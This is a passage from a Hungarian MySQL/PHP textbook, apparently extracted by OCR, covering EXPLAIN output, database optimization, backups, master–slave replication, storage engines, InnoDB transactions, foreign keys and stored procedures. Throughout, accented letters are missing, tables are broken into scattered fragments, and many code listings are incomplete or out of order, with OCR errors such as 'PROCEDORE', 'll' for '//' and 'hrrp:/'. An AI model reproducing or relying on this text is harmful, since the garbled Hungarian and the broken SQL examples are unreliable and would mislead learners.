Az els, az id oszlop az azon lekrdezsen belli SELECT utasts azonost szmt adja meg, amelyre a sor hivatkozik.
A select_type oszlop a hasznlt lekrdezs tpust mutatja meg. Az oszlop lehetsges rtkeit a 12.8 tblzatban lthatjuk.
12.8 tblzat: Az EXPLAIN utasts kimenetben szerepl, lehetsges Select-tpusok
Tpus
Lers
SIMPLE
PRIMARY
Halad MySQL-adminisztrci
203
Lers
Tpus
UNION
DEPENDENT
UNION
eredmnye.
UNION RESULT
UNION
SUBQUERY
DEPENDENT SUBQUERY
Bels egymsba gyazott lekrdezs, amely az elsdleges lekrdezstl fgg (azaz korrellt
lekrdezs).
mellkgban hasznlt, egymsba gyazott lekrdezs.
DERIVED
FROM
UNCACHEABLE SUBQUERY
UNCACHEABLE UNION
A table oszlop egyszeren a lekrdezs megvlaszolshoz hasznlt tblkat sorolja fel. Az eredmny minden egyes
sora arrl tjkoztat, hogyan hasznlja a lekrdezs az adott tblt. Jelen pldban azt lthatjuk, hogy a megrendelesek,
a rendelesi _tetelek, a vasarlok s a konyvek tbla volt rintett. (Ezt mr korbban, a lekrdezsre nzve is meg
llapthattuk)
A type oszlop azt mutatja, hogyan lesz felhasznlva a tbla a lekrdezs sszekapcsolsaiban. Az oszlop lca! felvehet rtkek
kszlett a 12.9 tblzat mutatja. Az ott szerepl rtkek a lekrdezs vgrehajtsnak sebessge szerint a leggyorsabbtl a leglas
sabbig terjednek. A tblzatbl kvetkeztethetnk, hogy hny sort kell az egyes tblkbl a lekrdezs vgrehajtshoz beolvasni.
12.9 tblzat: Az
EXPLAIN
Lers
Tpus
const
vagy system
eq_ref
A tblbl egyetlen beolvass trtnik. Ez akkor lehetsges, ha a tbla pontosan egy sorbl
ll. Rendszertbla esetn a system, ms esetben a const tpust hasznlja.
Az sszekapcsolsban szerepl ms tblk minden sorkszlethez (set of row) egyetlen sort
olvasunk be ebbl a tblbl. Ez a tpus jn szba, amikor az sszekapcsols a tbln lv
index minden rszt hasznlja, s az index UNI QUE,
fulltext
fulltext
ref
kulcs.
ref or null
Olyan, rnint a ref lekrdezs, de a MySQL NULL sorokat is keres. (Ezt a tpust elssorban
index_merge
unique_subquery
Egyes IN egymsba gyazott lekrdezsekben, ahol egy egyedi sort kapunk vissza, erre az
index_subquery
range
index
ALL
Az elz pldban lthatjuk, hogy az egyik tblt (konyvek) eq_ref tpus hasznlatval kapcsoltk ssze, egy msikat
(rendelesi_tetelek)
a
rehajtshoz be kell olvasnia a MySQL-nek. Ezeket a szmokat sszeszorozva megkapjuk a lekrdezs vgrehajtshoz meg
vizsglt sorok teljes szmt. Azrt kell sszeszorozni a szmokat, mert az sszekapcsols olyan, mint a klnbz tblkban
12
204
12
12. fejezet
lv sorok szorzata. Tovbbi rszletekrt lapozzunk vissza a Munka MySQL adatbzisunkkal cm 10. fejezethez l Ne feledjk,
hogy ez a megvizsglt, nem pedig a visszaadott sorok szma, s csupn becsls; a lekrdezs vgrehajtsa nlkl a MySQL nem
tudja a pontos szmot meghatrozni.
Nyilvnvalan minl kisebb tudjuk tenni ezt a szmot, annl jobb. Egyelre elhanyagolhat mennyisg adat tallhat
adatbzisunkban, de ha az adatbzis mrete nvekedni kezd, a lekrdezs vgrehajtsi ideje is nni fog. Erre a krdsre rvide
sen visszatrnk majd.
A possible_keys oszlop- ahogy azt neve is sugallja- a MySQL ltal a tbla sszekapcsolshoz hasznlt kulcsokat
mutatja. Pldnkban azt lthatjuk, hogy a lehetsges kulcsok mind PRIMARY, azaz elsdleges kulcsok.
A key oszlop vagy a MySQL ltal tnylegesen hasznlt tblbl szrmaz kulcsot vagy NULL rtket tartalmaz ( ameny
nyiben nem volt kulcs). Figyeljk meg, hogy br a vasarlok s a megrendelesek tblhoz tartoznak lehetsges elsdleges
kulcsok, a lekrdezshez ezek nem lettek felhasznlva!
A key_len oszlop a hasznlt kulcs hosszt mutatja. Ebbl az rtkbl megllapthatjuk, hogy csak a kulcs egy rsze lett-e
felhasznlva. A kulcs hosszsga akkor vlik fontoss, amikor egynl tbb oszlopbl ll kulcsokkal dolgozunk. Pldnkban
a teljes kulcs lett felhasznlva.
A ref oszlop azokat az oszlopokat mutatja, amelyeket a kulccsal egytt a tbla sorainak kivlasztshoz hasznltunk.
s vgl: az Extra oszlop az sszekapcsols vgrehajtsnak mdjrl kzl tovbbi informcit. A 12.10 tblzatban
az oszlop nhny lehetsges rtket lthatjuk. A tbb mint 15 lehetsges rtk teljes listjt a MySQL kziknyvben talljuk
(http:/l dev.mysql.com/ doc/refman/5.1/en/ using-explain.htrnl).
12.10 tblzat: Az
EXPLAIN
rtk
Distinct
Not exists
A lekrdezs a LEFT
each record
JOIN
Using filesort
Kt illeszrsre van szksg az adatok rendezshez. (Ez a mvelet nyilvnvalan ktszer any
nyi ideig tart.)
Using index
A tblkbl szrmaz minden informci az indexbl jn; vagyis a sarok tnyleges ellenrz
se nem trtnik meg.
Using temporary
Using where
Az EXPLAIN utasts kimenetben szrevett hibkat tbbflekppen orvosolhatjuk. Elszr is ellenrizhetjk az oszlopt
pusokat, s meggyzdhetnk arrl, hogy megegyezek-e. Ez klnsen igaz az oszlopok szlessgre. Az indexek nem hasz
nlhatk klnbz szlessg oszlopok prostsra. Ezen a problmn gy segthetnk, ha mdostjuk a prostani kivnt,
de eltr szlessg oszlopok tpust, vagy ha mr az adatbzis tervezsnek elejn tekintettel vagyunk erre.
Msodsorban utasthatjuk az sszekapcsols-optimalizlt, hogy vizsglja meg a kulcseloszlsokat, s tegye hatkonyabb
az sszekapcsolsokat. A myisamchk segdalkalmazst vagy az ANALYZE TABLE utastst hasznlhatjuk erre- a kett
egyenrtk. Az albbiakat begpelve hvhatjuk meg a segdalkalmazst:
myisamchk --analyze pathtomysqldatabase/table
Tbb tblt is ellenrizhetnk, ha felsoroljuk ket a parancssorban, vagy az albbi utastst adjuk ki:
myisamchk --analyze pathtomysqldatabase/*.MYI
megrendelesek,
TAB LE
rendelesi_tetelek,
konyvek;
Harmadsorban mrlegelhetjk annak lehetsgt, hogy j indexet adunk a tblhoz. Ha a lekrdezs lass vagy gyakori,
rdemes komolyan elgondolkodni ezen a javtsi lehetsgen. Amennyiben olyan egyszeri lekrdezsrl van sz, amelyet soha
az letben nem fogunk mg egyszer hasznlni- pldul a fnknk ltal krt, valamilyen bonyolult jelentsrl-, akkor az
minden bizonnyal nem fogja megrni az erfesztst, mert ms dolgokat lelassthat.
Halad MySQL-adminisztrci
Ha az
EXPLAIN
utasts kimenetnek
possible
keys
205
krdezs teljestmnyt, hogy indexet adunk a krdses tblhoz. Ha a WHERE mellkgban hasznlt oszlop indexelsre megfe
lel, a kvetkezkppen hozhatjuk ltre az j indexet az ALTER
ALTER TABLE tabla ADD INDEX
TAB LE
utastssal:
(oszlop);
Adatbzisunk optimalizlsa
Az elbbi lekrdezs-optimalizlsi tippeken tlmenen srnos olyan dolgot tehetnk, amellyel ltalnossgban nveljk
MySQL adatbzisunk teljestmnyt.
Optimlisra tervezs
Az alapelv az;, hogy adatbzisunkban minden a lehet legkisebb legyen. Ezt a clt - legalbbis rszben - a redundancit mini
mliss tev, megfelel tervezssei rhetjk el. Szintn ezt szolglja, ha a lehet legkisebb adattpust hasznljuk az oszlopok
hoz. Ahol lehetsges, rninimalizljuk a NULL ttk oszlopok szmt, s tegyk az elsdleges kulcsot a lehet legrvidebbl
Ha lehet, kerljk a vltoz hosszsg oszlopok (gy a VARCHAR, TEXT s BLOB tpusak) hasznlatr! A rgztett hossz
sg mezkkel rendelkez tblkkal gyorsabban dolgozhatunk, br az igaz, hogy valarnivel tbb helyet foglalnak el.
Jogosultsgok
Az EXPLAIN utastssal foglalkoz rszben emltett tancsok mellett a jogosultsgok egyszerstsvel is nvelhetjk a lekr
ciezsek sebessgt. Korbban mr sz volt arrl, hogy vgrehajtsuk eltt a jogosultsgi rendszer ellenrzi a lekrdezseket.
Minl egyszerbb ez a folyamat, annl gyorsabban fog lefutni a lekrdezs.
Tblaoptimalizls
Egy hosszabb ideje hasznlatban lv tblt a frisstsek s trlsek feldolgozsa mr tredezett tehetett. A tredezettsg
tabla
myisamchk
segdalkalmazssal a kvetkezkppen rendezhetjk egy tbla indext, illetve adatait az adott index szerint:
pathtomysqldatadirectory/*/*.MYI
Indexek hasznlata
Ahol szksges, indexek hasznlatval gyorsthatjuk lekrdezseinket. rizzk meg indexeink egyszersgt, s ne hozzunk
ltre olyanokat, amilyeneket lekrdezseink nem hasznlnak! Ahogy korbban mr emltettk, az EXPLAIN utasts futtats
val llapthatjuk meg, hogy mely indexek vannak hasznlatban.
INSERT
Tovbbi tippek
Sok ms apr finomsggal javthatjuk adatbzisunk teljestmnyt, illetve kezelhetnk egyedi ignyeket. A MySQL weboldalon
szmos j tancsot tallunk erre vonatkozan (http:/ /www.mysql.com).
12
206
12. fejezet
tabla zarolas_tipusa
...]
zarolas _ tipusa
FLUSH TABLES;
parancs futtatsval megbizonyosodhatunk arrl, hogy a biztonsgi ments ltrehozsa eltt az indexek minden vltozst
lemezre rtuk.
A biztonsgi ments elksztse kzben a felhasznJk s a kdok tovbbra is futtathatnak csak olvashat lekrdezseket.
Ha szmos olyan lekrdezssei dolgozunk, amelyek mdostjk az adatbzist (ilyenek lehetnek pldul az gyfelek megrende
lseiJ, akkor nem clszer ezt a megoldst vlasztanunk.
A msodik- s egyben ajnlott- mdszer a mysql_dump parancs hasznlata. A parancsot az opercis rendszer parancs
sorbl adjuk ki, s jellemzen valahogy gy nz ki:
12
>
all.sql
Ez az adarbzis jbli elllrshoz szksges minden SQL kdot az a ll.sql nev fjlba pakol.
Ezt kveten egy pillanatra le kell lltanunk a mysqld folyamatot, majd a --log-bin [=logfile] bellrssal jbl el
kell indtani azt. A naplfjlban trolt frisstsekbl kapjuk meg a mysql_dump parancs hasznlata ta vgbement vltoztat
sokat. (A naplfjlokrl termszetesen brmilyen biztonsgi ments ksztse esetn gondoskodnunk kell.)
A harmadik lehetsges mdszer a mysqlhotcopy kd hasznlata. A kvetkezkppen hvhatjuk meg:
mysqlhotcopy database /path/for/backup
mysql
A MySQL biztonsgi mentsnek s helyrelltsnak folyamatrl a hrrp:/ /www.mysql.com cmen elrhet MySQL web
oldalon olvasharunk bvebben.
Replikcimegvalstsa
A replikci nev technolgia lehetv teszi, hogy tbb adatbzis szolgltassa ugyanazokat az adatokat. Ezzel megoszthat
a terhels s fokozhat a rendszer megbzhatsga; ha az egyik kiszolgl tnkremegy, a lekrdezsek a tbbin futrathatk
lesznek. Bellts utn biztonsgi mentsek ksztsre is hasznlhat.
A dolog lnyege, hogy legyen egy master tpus szerver, amelyhez tbb slave tpust adhatunk. Minden slave kiszolgl
tkrzi a mastert. Amikor az elejn bellguk a slave kiszolglkat, a master kiszolgln az adott idpillanatban lv minden
adatot tmsolunk. A slave kiszolglkat ezt kveten a master alapjn frissteni kell. A master a binris napljbl tovbbtja
a rajta lefuttatott sszes lekrdezs rszleteit, majd a slave kiszolglk is alkalmazzk azokat sajt adataikra.
Jellemzen gy hasznljuk ezt a felllst, hogy az rsi lekrdezseket a master kiszolgln, az olvassi lekrdezseket pedig
a slave kiszolglkon futtaguk. Ezt alkalmazsunk logikja kveteli meg. sszetettebb architektrk is lehetsgesek, pldul
amelyben tbb master kiszolgl dolgozik, mi azonban csak ezzel a legtipikusabb felllssal foglalkozunk.
Belthat, hogy a slave kiszolglk ltalban nem rendelkeznek annyira napraksz adatokkal, mint a master. Ez minden
elosztott adatbzisra igaz.
Halad MySQL-adminiszrrci
207
A masrer s slave archrektra felptsnek els lpsekm leellenrizzk, hogy a binris naplzs be van-e kapcsolva
a
my. ini
vagy my. cnf fjlunkat a masrer s a slave kiszolglkorr is szerkeszteni kell. Az elbbi esetn az albbi bellir
log-bin
server-id=l
Az els bellirs a binris naplzsr kapcsolja be (ezt mr be kellett kapcsolnunk; ha nem tettk meg, kapcsoljuk be mosr!).
A msodik bellirs egyedi azonostt ad a master kiszolglnak. Minden slave kiszolgl is azonostt ignyel, ezrt hasonl
sort kell hozzadnunk minden slave my. ini/my. cnf fjljhoz. gyeljnk, hogy a szmok egyediek legyenek! Az els slave
azonostja legyen- mondjuk-
a msodik
server-id=2;
server-id=3
srb.
az
replication slave jogosultsgra van szksg. Ha gy dnrnk, hogy a LOAD DATA FROM MASTER paranccsal tovbbtjuk az
adarokar, a felhasznlnak RELOAD, SUPER s SELECT jogosulrsgra is szksge lesz, de csak a kiindul belltshoz. (Errl
az urasrsrl a kvetkez rszben olvasharunk bvebben.) A 9. fejezetben megismert, legkisebb jogosultsg elve alapjn vissza
kell vonni ezeker a jogosultsgokat, aminr a rendszer mr felll r s fut.
Hozzunk ltre egy felhasznlt a master kiszolgln! Brmilyen felhasznli nevet s jelszt adharunk neki, de jegyezzk
fel! Pldnkban a r ep_ slave nevet acljuk a felhasznlnak:
grant replication slave
on
* . *
to
'rep_slave'@
'%'
identified by
kvetkez rszben mutatjuk be), majd a LOAD DATA FROM MASTER utasts futtatsa. Ennek a megkzeltsnek az
szpsghibja, hogy az adattvitel idejre zrolja a master tblit, s rnivel ez nmi idr vehet ignybe, hasznlatt nem ajnl
juk. (Csak akkor rdemes ezt a mdszert vlasztani, ha MyiSAM tblkat hasznlunk.)
ltalban jobban jrunk, ha az adott idpontban pillanatfelvtelt ksztnk az adatbzisrL A fejezet korbbi rszben,
a
biztonsgi menrsek ltrehozshoz hasznlt eljrsoknl mr megmutattuk, hogyan tehetjk meg ezr. Elszr is Ilusholjuk
Az olvassi zrols indoka, hogy fel kell jegyeznnk a szerver binris napljban azt a helyet, ahol a pillanatfelvtelt ksztet
tk. Az albbi utasts futtatsval tehetjk ezt meg:
SHOW MASTER STATUS;
l File
Position
Einlog Do_DB
Binlog_Ignore_DB
+----------------------+----------+--------------+------------------+
llaura-ltc-bin.OOOOOl
95
+----------------------+----------+--------------+------------------+
Jegyezzk fel a File s a Positiorr mez rtkr; a slave kiszolglk belltshoz szksg lesz ezekre.
Mosr ksztsk el a pillanatfelvtelt, majd olcljuk fel a tblk zrelst a kvetkez utastssal:
unlock
tables;
12
208
12. fejezet
Amennyiben InnoDB tblkkal dolgozunk, a legegyszerbb az InnoDB Hot Backup eszkz hasznlata, amely az Innobase
Oy oldaln rhet el (http:/ / www.innodb.com). Mivel nem ingyenes szoftverrl van sz, szmolnunk kell licenckltsggeL
Megtehetjk azt is, hogy az irt bemutatort eljrst kvetjk, s a tblk zrolsnak feloldsa elre kikapcsoljuk a MySQL szer
vert, s a repliklni kvnt adatbzis teljes knyvrrt lemsoljuk, majd jraindtjuk a kszolglt, s feloldjuk a tblk zrolst.
12
master-log-file='naplofajl',
master-log-pos=logpos;
start slave;
A dlt bervel szedert adatokat magunknak kell megadni. A szerver a master kiszolgl neve. A felhasznala s
a j elszo a master kiszolgln futtatott GRANT utastsbl addik. A naplofaj l s a logpos pedig a master kiszolgln
futtatort SHOW MASTER STATUS utasts kimenetbl kvetkezik.
A slave kiszolgl most mr fut s mkdik.
Amennyiben nem kszterrnk pillanatfelvtelt, a masterrl szrmaz adatokat az elz lekrdezs futtatsa utn a kvetke
z utasts vgrehajtsval tlthetjk be:
LOAD DATA FROM MASTER;
Tovbbi olvasnival
A MySQL-rl szl eddigi fejezetekben a rendszer azon rszeire s hasznlatra fordtortuk figyelmnket, amelyek a webes
fejleszts, illetve a MySQL s a PHP sszekapcsolsa szempongbl a leginkbb fontossggal brnak. Ha szecernnk tbbet
megtudni a MySQL-adminisztrcirl, ltogassunk el a hrrp:/ / www.mysql.com cmen elrhet MySQL weboldalral
Hogyan tovbb
A Halad
MySQL-programozs cm, kvetkez leckben a MySQL nhny olyan haladbb funkcijt ismerjk meg, amelyek
webes alkalmazsok rsakor hasznosak. Megrudjuk pldul azt, hogyan hasznljuk a klnbz trolmotorokat, a tranzakci
kat s a trolt eljrsokat.
13
Halad MySQL ...programozs
A kvetkezkben
A
hasznos,eddig nem trgyalt funkcija a LOAD DATA INFILE utasts. Hasznlatval fjlbl tlthernk be
a tblkba adatokat. Az utasts nagyon gyorsan lefut. Rugalmas, szmtalan opcival rendelkezik,jellernzen azonban a kvet
kezkppen nz ki:
LOAD DATA
INFILE
"uj
konyvek. txt"
INTO
TABLE konyvek;
Ez a sor a konyvek tblba olvassa az uj_konyvek. txt fjlban callhat adatokat. A fjl adatmezit alaprtelmezsben
rabulrorokka! kell egymstl elvlasztani,s egyszeres idzjel kz kell helyezni ket,a sorokat pedig jsor karakterrel (\n)
kell tagolni. A klnleges karaktereket perjellel (\) szksges kiemelni. Mindezeket a LOAD utasts klnbz opciival m
dosthatjuk; a rszleteket a MySQL kziknyvben talljuk.
A LOAD DATA INFILE utasts hasznlathoz a felhasznlnak a Webes adatbzis ltrehozsa cm 9. fejezetben bemuta
tort FILE jogosultsggal kell brnia.
Trolmotorok
trolmotort tmogat (amiket esetenknt tblatpusoknak is szoks nevezni). Ez azt jelenti,hogy vlasz
rsi lehetsgnk van a tblk mgttes megvalsrst illeten. Adatbzisunk akr minden tblja hasznlhat ms s ms
rrolmotort,s egyszeren vltharunk a mororok kztt.
A tblaripust a tbla ltrehozsakor vlaszthatjuk ki az albbi utastssal:
A MySQL tbbfle
CREATE TABLE
tabla
TYPE=tipus
....
210
13.fezet
CSV- A kiszolgl egyetlen, vesszvel elvlasztott rtket tartalmaz fjlban trolja ezeket a tblkat.Elnyk akkor jelentke
zik, ha kls tblzatkezel alkalmazsban, pldul Microsoft Excelben lv adatokat kell megtekinreni, vagy dolgozni kell velk.
InnoDB-Az ilyen tblk tranzakcibiztosak; ez azt jelenti, hogy esetkben hasznlhatjuk a COMM IT s a ROLLBACK
parancsot.Az InnoDB tblk a kls kulcsokat is tmogatjk. A MyiSAM tblknl ugyan lassabbak, m a tranzakcik hasz
nlatnak lehetsge ellenslyozza sebessgbeli htrnyukat.
A webes alkalmazsok tbbsgben jellemzen MyiSAM vagy InnoDB tblkat, illetve ezek keverkt hasznljuk.
Akkor rdemes MyiSAM tpussal dolgozni, amikor jelents szm
SELECT
(nem vegyesen a krfle lekrdezst), mett ebben ez a leggyorsabb. Szmos webes alkalmazshoz-egyebek kztt a katalgusok
hoz is-a MyiSAM a legjobb vlaszts.Akkor is a MyiSAM a nyer, amikor teljes szvegre keressi lehetsgre van szksgnk.
InnoDB tpus tblra akkor van szksg, amikor fontosak a tranzakcik (pldul pnzgyi adatokat trol tblk esetn), vagy
pedig egyms kz keld INSERT s
SELECT
A MEMORY tblkat ideiglenes tblaknt vagy nzetek megvalstsra hasznlhatjuk, a MERGE tblkat pedig akkor,
amikor igazn nagy MyiSAM tblkat kell kezelnnk.
A tbla ltrehozsa utn az ALTER
TABLE
A knyv ezen rszben leginkbb MyiSAM tblkkal dolgoztunk. Sznjunk most kis idt arra, hogy figyelmnket a tranz
akcik hasznlatra, illetve az InnoDB tblkon belli megvalsrsuk mdszereire fordtsuk!
13
Tranzakcik
A tranzakcik az adatbzis konzisztencijt biztost mechanizmusok, amelyek klnsen hiba vagy szerversszeomls esetn
fontosak.A kvetkez rszekbl kiderl, pontosan mik azok a tranzakcik, s hogyan valsthatjuk meg ket InnoDB tblkkal.
ln ne fusson le.
Konzisztencia (Consistency)- A tranzakcinak meg kell riznie az adatbzis konzisztens llapott.
Izolci (Isolation)- A befejezetlen tranzakcik az adatbzis ms felhasznli szmra lthatatlanok kell, hogy legye
A vglegesen az adatbzisba rt tranzakcit vglegestettnek ( committed) moncljuk. Az adatbzisba nem rt tranzakci r, vagyis
amikor az adarbzis visszall a tranzakci megkezdse eltti llapotba, visszagrgetett (rolled back) tranzakcinak nevezzk.
Halad MySQL-programozs
211
Kikapcsolt llapot esetn nincs szksg erre a parancsra, mert a tranzakci automatikusan megkezddik, arnint berunk egy
SQL utastst.
Ha befejeztk a tranzakcit alkot utastsok bevitelt, egyszeren a kvetkezt begpelve vglegesthetjk azt az adatbzisban:
COMMIT;
utastssal trhetnk vissza az adatbzis elz llapothoz. Amig nem vglegestjk a tranzakcit, a tbbi felhasznl szmra
vagy ms munkamenetekben lmatatlan lesz.
Nzznk egy pldt! Amennyiben mg nem tettk volna meg, hajtsuk vgre a konyvek adatbzison a fejezet elz rsz
ben emltett, kt ALTER TABLE utastst most:
ALTER TABLE
megrendelesek
ALTER TABLE
rendelesi_tetelek TYPE=innodb;
TYPE=innodb;
Ezek az utastsok InnoDB tblkk alaktjk a kt tblt. (A ksbbiekben ugyanezzel az utastssal visszaalakthatjuk
ket, m akkor a type=MyiSAM paramtert kell hasznlni.)
Nyissunk kt kapcsolatot a konyvek adatbzishoz l Adjunk egy j rendelsi rekordot az adatbzishoz:
INSERT INTO megrendelesek
VALUES (5,
2,
69.98,
'2008-06-18');
'0-672-31697-8',
l);
vasarloid
osszeg
datum
+------------+-----------+--------+------------+
5
69.98
2008-06-18
+------------+-----------+--------+------------+
Hagyjuk nyitva ezt a kapcsolatot, menjnk a msikra, s futassuk le ugyanezt a SELECT lekrdezst! Ekkor nem fogjuk
ltni a megrendelst:
Empty set
(0.00 sec)
Ennek oka, hogy a tranzakcit mg nem vglegestetrk. (Kivl pldja ezt a tranzakci-izollsnak.) Ha mgis ltjuk,
akkor minden bizonnyal elfelejtettk kikapcsalni az automatikus vglegestst (autocommit). Ellenrizzk ezt, illetve azt, hogy
InnoDB formtumv alaktottuk-e a szban forg tblt!
Trjnk vissza az els kapcsolathoz, majd vglegestsk a tranzakcit:
COMMIT;
Kls kulcsok
Az InnoDB a kls kulcsokat is tmogatja. Emlkezhetnk r, hogy a kls kulcsok fogalmval a Webes adatbzis megtervezse
cm 8. fejezetben tallkoztunk. MyiSAM tblk hasznlata esetn nincs lehetsg kls kulcsok hasznlatra.
Gondoljuk vgig pldul azt az esetet, amikor sort szrunk bele a rendelesi_tetelek tblba! Ehhez rvnyes
rendelesid-ra
a
van szksg. MyiSAM tblk hasznlata esetn valahol mshol, az alkalmazs logikjval kell szavatolnunk
beszrt rendelesid rvnyessgt. Az InnoDB tblkban a kls kulcsok hasznlata lehetv teszi, hogy az adatbzis
isbn)
TYPE=InnoDB;
A re ferences megrendelesek (rendelesid) szavakat rtuk a rendelesid mg. Ez azt jelenti, hogy az oszlop
kls kulcs, amelynek a megrendelesek tbla rendelesid oszlopbl szrmaz rtket kell tartalmaznia. Ez szksges
a
13
212
13. fejezet
ALTER TABLE
REFERENCES megrendelesek(rendelesid);
Hogy kidertsk, mkdik-e a mdosts, prbljunk meg olyan rendelesid-j sort beszrni, amelyhez
a megrendelesek tblban nem tartozik megfelel sor:
INSERT INTO rendelesi_tetelek VALUES
(77,
'0-672-31697-8',
7);
1452
(23000):
child row:
fails
Trolt eljrsok
A trolt eljrs MySQL-en bell ltrehozott s trolt programozsi fggvny, amely SQL utastsokbl s nhny klnleges
vezrlsi szerkezetbl ll. Akkor tud hasznos lenni, amikor ms alkalmazsokbl vagy platformokrl kvnjuk elvgezni ugyan
azt a funkcit, illetve funkcionalits begyazsra is kivlan alkalmas. Adatbzisok esetn a trolt eljrsokra tekinthetnk
gy, mint programozs esetn az objektumorientlt megkzeltsre. Lehetv teszik, hogy kontrolltjuk az adatelrs mdjt.
Elszr vizsgljunk meg egy egyszer pldt!
13
Alapplda
A 13.1 pldakd trolt eljrs deklarlst mutatja.
13.1 pldakd: egyszeru_tarolt_elj aras. sql-
CREATE
ll
PROCEDORE megrendeles_osszesito
(OUT
total FLOAT)
BEGIN
SELECT SUM(osszeg) INTO total FROM megrendelesek;
END
ll
delimiter
ll
az utasts vgt jelz elvlaszt aktulis rtkt - ami ltalban pontosvessz, hacsak korbban meg nem vltoztattuk - dupla
elre perjell mdostja. Erre azrt van szksg, hogy a trolt eljrson bell anlkl hasznlhassuk a pontosvesszt, hogy
a MySQL megprblja soronknt vgrehajtani a kdot.
A kvetkez sor, a
CREATE PROCEDORE megrendeles_osszesito
hozza ltre magt az eljrst. Ennek az eljrsnak megrendeles_osszesi to a neve. Egyeden paramtere van, a total, ami
nem ms, mint a kiszmtani kvnt rtk. Az OUT sz jelzi, hogy ezt a paramtert vissza fogjuk kapni.
A pararnterek deklarlhatkIN-knt is, ami azt jelenti, hogy az adott rtket tadjuk az eljrsba, illetve INOUT-knt, ami
kor az rtket tadjuk az eljrsba, ami mdosthatja azt.
A FLOAT sz a paramter tpusra utal. Jelen esetben a megrendelesek tblban lv sszes rendels sszegt adjuk
vissza. A megrendelesek oszlop tpusa FLOAT, gy a visszaadott rtk is FLOAT lesz. Az elfogadhat adattpusok krt
a lehetsges oszloptpusok hatrozzk meg.
Amennyiben egynl tbb paramtert szeremnk hasznlni, vesszvel elvlaszrott listval adhatjuk meg ket, ahogy azt
PHP-ben is tennnk.
Halad MySQL-programozs
A:z. eljrs trzst aBEGIN s az END utasts fogja kzre. A PHP kapcsos zrjeleinek
({
213
l @t
+-----------------+
l 289.92001152039
+-----------------+
Az eljrsok esetben hasznlt mdhoz hasonlan fggvnyt is ltrehozharunk. A fggvny csak bemeneti (input) param
tereket fogad, s egyetlen rtket ad vissza.
Az alapvet szintaktikjuk is majdnem teljesen megegyezik. A 13.2 pldakdban egy mintafggvnyt lthatunk.
13.2 pldakd: egyszeru_ fuggveny. sql
ll
RETURNS FLOAT
RETURN ar*1.1;
ll
delimiter
Lthat, hogy a fenti plda a PROCEDURE kulcssz helyett a FUNCTION-t hasznlja. Nhny tovbbi klnbsger is meg kell
emlteni.
A paramtereket nem kell IN vagy OUT kulcsszavakkal meghatrozni, mert mind csak IN, azaz bemeneti paramter lehet.
A paramterlista utn a RETURNS FLOAT mellkg lthat. Ez hatrozza meg a visszaadand rtk tpust, amely brmilyen
rvnyes MySQL tpus lehet.
rtket- a MySQL-hez hasonlan- itt is a RETURN utastssal adunk vissza.
Figyeljk meg, hogy a plda nem hasznlja aBEGIN s az END utastst! Berhatjuk ket, de nem ktelez. Akrcsak PHP
ben, ha egy utastsblokk egyetlen utastst tartalmaz, nem szksges jellni az elejt s a vgt.
A fggvnyhvs nmikppen eltr az eljrsok meghvstL Trolt fggvnyt ugyangy hvunk meg, ahogyan egy beptett
fggvnyt tennnk. Pldul:
SELECT ado_hozzaadasa(100};
Ez az utasts az albbi kimenetet eredmnyezi:
+---------------------+
l ado_hozzaadasa(100}
+---------------------+
llO
+---------------------+
13
214
13. fejezet
Trlni pedig a
DROP PROCEDURE total_orders;
illetve a
DROP FUNCTION ado_hozzaadasa;
utastssal lehet.
A trol eljrsok esetn hasznlhatunk vezrlsi szerkezeteket, vltozkat, DECLARE kezelket (amelyek a kivtelekhez
hasonlk) s egy fontos,
Helyi vltozk
begin ...end blokkon bell a DECLARE kulcsszval vezethetnk be helyi vltozkat. Mdosthaguk
az
ado_hozzaadasa
fggvnyt pldul gy, hogy helyi vltozt hasznlva trolja az adkulcsot. Ezt lthatjuk a 13.3 pldakdban.
13.3 pldakd: egyszeru_fuggveny_val tozokkal. sql-
13
BEGIN
DECLARE ado FLOAT DEFAULT 0.10;
RETURN ar*(l+ado);
end
ll
delimiter
A fentiekbl kiderl, hogy a vltozt a DECLARE kulcsszval deklarljuk, amit a vltoz neve, majd a tpusa kvet. Az opcio
nlis DEFAULT mellkggal kiindul rtket adhatunk a vltoznak. Ezt kveten a szoksos mdon dolgozhatunk a vltozval.
az
rtket, m a plda kivlan szemllteti a kurzorok s a vezrlsi szerkezetek hasznlatr.) A trolt eljrs kdjt
'02000'
SET kesz
l;
Halad MySQL-programozs
DECLARE
215
cl;
OPEN
REPEAT
cl INTO
FETCH
aktualis id,
aktualis csszeg;
>
l_csszeg THEN
csszeg=aktualis csszeg;
IF;
IF;
REPEAT;
CLOSE cl;
SET legnagycbb_id=l
id;
END
ll
delimiter
Ez a kd vezrlsi szerkezeteket (feltteles utastsokat s ciklusokat), kurzorokat s DECLARE kezelker hasznl. Nzzk
r sorrl sorra!
Az eljrs elejn szmos, az eljrson bell hasznland, helyi vltozt deklarlunk. Az aktualis_id s az aktualis_
osszeg
vltoz trolja az aktulis sor rendelesid s csszeg rtkr. Az l_csszeg s az l_id vltoz a legnagyobb
rendelsi rtket s az ahhoz tartoz rendelsazonostt trolja. Mivel a legnagyobb rtket gy llaptjuk meg, hogy minden
rtker sszehasonltunk az addig legnagyobba!, a vltoz kezdeti rtkt nullra llg uk.
A kvetkezknt deklarlt vltoz a kesz, amelynek kezdeti rtke nulla (false ) . Ez a ciklus vgr jelz vltoz. Amikor
elfogynak a megvizsgland sorok, az rtkt l-re ( true ) llguk. A
DECLARE
CONTINUE
HANDLER
FOR SQLSTATE
'02000'
SET kesz =
l;
sort declare
kezelnek (deelare hand/er) nevezzk. Ezek a kivtelekhez hasonl szerepet tltenek be trolt eljrsokban. Lreznek
mg continue (folytats) s exit (kilps) kezelk. A continue kezelk- gy az itt lthat is-elvgzik a meghatrozorr mvele
tet, majd folytatjk az eljrs vgrehajtst. Az exit kezelk kilpnek a legkzelebbiBEGIN...END blokkbl.
A declare kezel kvetkez rsze hatrozza meg, hogy mikor lesz a kezel meghvva. Pldnkban akkor, amikor elrjk az
sqlstate
'02000 '-t. Bizonyra rdekldsre tart szmot, hogy ez mit jelent, mert nagyon titokzatosan hangzik! Azt jelen
ri, hogy az eljrs akkor hvja meg a kezelt, an1ikor nem tall tbb sort. Az eredmnyhalmazt soronknt dolgozzuk fel, s ami
kor elfogynak a feldolgozsra vr sorok, meghvjuk ezt a kezdt. Ugyanezt rjk el a FOR
NOT FOUND
meghatrozsval is.
DECLARE cl
CURSOR
()
FOR
SELECT
rendelesid,
Ennek neve cl. Ez pusztn annak meghatrozsa, hogy mit fog trolni. A lekrdezst ezzel mg nem futtattuk le.
A kvetkez sor
OPEN cl;
az, amelyik
